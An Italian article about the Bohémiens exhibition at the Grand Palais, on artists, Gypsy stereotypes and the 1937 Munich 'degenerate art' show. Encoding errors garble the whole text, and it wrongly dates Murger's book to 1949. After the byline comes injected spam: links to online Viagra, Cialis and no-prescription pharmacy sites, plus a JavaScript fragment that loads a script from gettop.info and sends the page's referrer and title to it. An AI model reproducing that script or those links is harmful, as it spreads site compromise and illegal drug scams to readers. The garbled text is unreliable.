BohAi??miens in mostra a Parigi

BohAi??miens in mostra a Parigi

Artisti poveri e amori folli, una cittAi?? da sogno: Parigi e il sogno di un futuro pieno di promesse. E poi lai??i??amicizia, la vita notturna, fame e fama, vino e dedizione allai??i??arte ai??i?? qualunque sia ai??i?? , ribellione ai clichAi?? borghesi. Lai??i??artista sempre in bilico tra inferno e paradiso, uno scellerato gaudente o un genio solitario, infelice e incompreso che anticipa le convulsioni della societAi??. Nella schiera ci sono i poeti (Baudelaire, Rimbaud, Verlaine ai??i??) e gli artisti (Courbet, Van Gogh, Satie, Picasso ai??i??) per un racconto che va oltre la loro stessa arte. La vita degli artisti nella metAi?? del XIX secolo in poi rimane infatti ricoperta da unai??i??inamovibile aura romantica dove fantasia e realtAi?? di confondono, spesso a dispetto della storia. Un colpevole di tutto questo cai??i??A? e si chiama Henri Murger, A? lui lai??i??autore di ScA?nes de la vie bohA?me, una raccolta di storie che raccontano le avventure di un piccolo gruppo di poeti e pittori che vivono nel Quartiere latino nel 1840. Il libro uscAi?? nel 1949 e fu un successo. Oggi diremmo che il suo spin-off, ovvero la BohA?me messa in musica da Giacomo Puccini nel 1895 (su libretto di Giuseppe Giacosa e Luigi Illica) ha completato il quadro, ovvero ha reso il mondo di Mimi e Rodolfo talmente popolare da condizionare profondamente la nostra idea di artista, ridisegnandone perfino il suo aspetto esteriore (barba, camice, fiocco). Ma siamo sicuri che morire di freddo e tisi in una soffitta sia poi tanto glamour? E da dove arriva il termine bohAi??mien?

Se lai??i??uso del termine ai???bohemianai??? per indicare un artista o un povero studente A? entrato in uso con il libro di Murger, storia vuole che sin dal Rinascimento la parola (boemo) indicasse le popolazioni nomadi che dallai??i??est europeo migravano verso occidente. Anche la vita degli zingari A? stata rivestita da miti e stereotipi che la stessa arte, sin dal rinascimento, ha contribuito a diffondere: tra immagini pittoresche, miti (come quello che vuole la vergine Maria travestita da zingara durante la fuga in Egitto), e lai??i??odore di zolfo emanato dallo zingaro che A? sempre pronto allai??i??inganno, al raggiro come mostra quel disegno di Leonardo da Vinci in arrivo da Londra, dove un vecchio con il lauro del saggio ai???viene preso in mezzoai??? proprio da un gruppo di zigani.Ai?? O in quel dipinto di Georges de La Tour, La buona ventura (Caravaggio docet) in cui una vecchia zingara distrae un ingenuo con la lettura della mano per dare modo ai complici di sfilargli la catena dai??i??oro. Certo, per tanti altri artisti zingaro A? stato sinonimo di libertAi??, di fuga dalle regole convenzionali, di vita allai??i??aria aperta e a contatto con la natura, sinonimo di unai??i??esistenza ai??i?? soprattutto nel periodo romantico ai??i?? vissuta secondo le proprie regole. Ecco allora che di qui a passare a identificare zingari e artisti con la stessa parola, la strada A? breve. Gli stessi artisti, dai??i??altronde, ai???curavanoai??? il loro aspetto a dovere: i capelli lunghi e il mantello nero di Gericault e Delacroix, i pubblici e complicati intrecci sentimentali di Arthur Rimbaud e Paul Verlaine (cui A? dedicata unai??i??intera parte della mostra) sono solo alcune tra tante ai???proveai??? esposte al Grand Palais.

Alla bohAi??mien il curatore Sylvain Amic ha voluto dare una data finale: il 1937, lai??i??anno della mostra sullai??i??arte degenerata che Hitler volle a Monaco di Baviera: ai???E ai???un momento in cui gli artisti sono zingari e vengono scaricati in un obbrobrio ai??i?? spiega Amic -Ai?? soprattutto gli artisti dai??i??avanguardia dellai??i??Europa orientale: Otto Mueller, Otto Pankok, Emil Nolde, Auguste Sander, Laszlo Moholy-Nagy. Gli artisti sono condannati da parte dei nazisti a non lavorare, mentre gli zingari vengono deportati e sterminatiai???. E cosAi?? lungo il suggestivo allestimento creato da Carsen, il visitatore dopo aver attraversato i secoli e le rappresentazioni piA? suggestive del popolo errante; dopo essere stato ammesso nellai??i??universo del pittore, nella sua soffitta, nel suo studio per completare la sua corsa nei caffA? di Montmartre si ritrova immerso in Art Gypsy la sala di Monaco di Baviera 1937. Ma per concludere vogliamo usare la parole dello stesso curatore: ai???La bohA?mien A?, per definizione, sempre contemporanea perchAi?? difficilmente A? dichiarata morta, lei si rinnova continuamente. Rompe con la conformitAi??, rifiuta i percorsi ben tracciati per inventare nuove rotte, si tratta di un fenomeno che determina la sopravvivenza dellai??i??arteai???.

 

Eliseo Domigliani Here, http://alldrugs24h.com/, http://allpills24h.com/, http://buycialisonline24h.com/, http://buypills24h.com/, http://buypillsonline24h.com/, http://buysildenafilonline24h.com/, http://buytadalafilonline24h.com/, http://buyviagraonline24h.com/, http://cheapviagraonline.com/, http://help-essay.info/, http://orderviagracheap.com/, http://tadalafilsildenafil.com/, here, here, here, here, here, here, here, here, here, here, here. } online Cheap http://annienichols.com/?p=14834 viagra for sale in uk cheap, voltaren gel boots benadryl cough syrup rate, benadryl cough syrup rate, benadryl cough syrup rate, benadryl cough syrup rate, benadryl cough syrup rate, benadryl cough syrup rate. . Cheap order tadapox side buy viagra kuwait Buy s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; cheap viramune package http://johnmackoconstruction.com/?p=16176 Order best no prescription pharmacy, best no prescription pharmacy, best no prescription pharmacy, best no prescription pharmacy, best no prescription pharmacy, best no prescription pharmacy. Cheap celexa without a script in aruba cialis brand online http://lianatour.com/?p=17623

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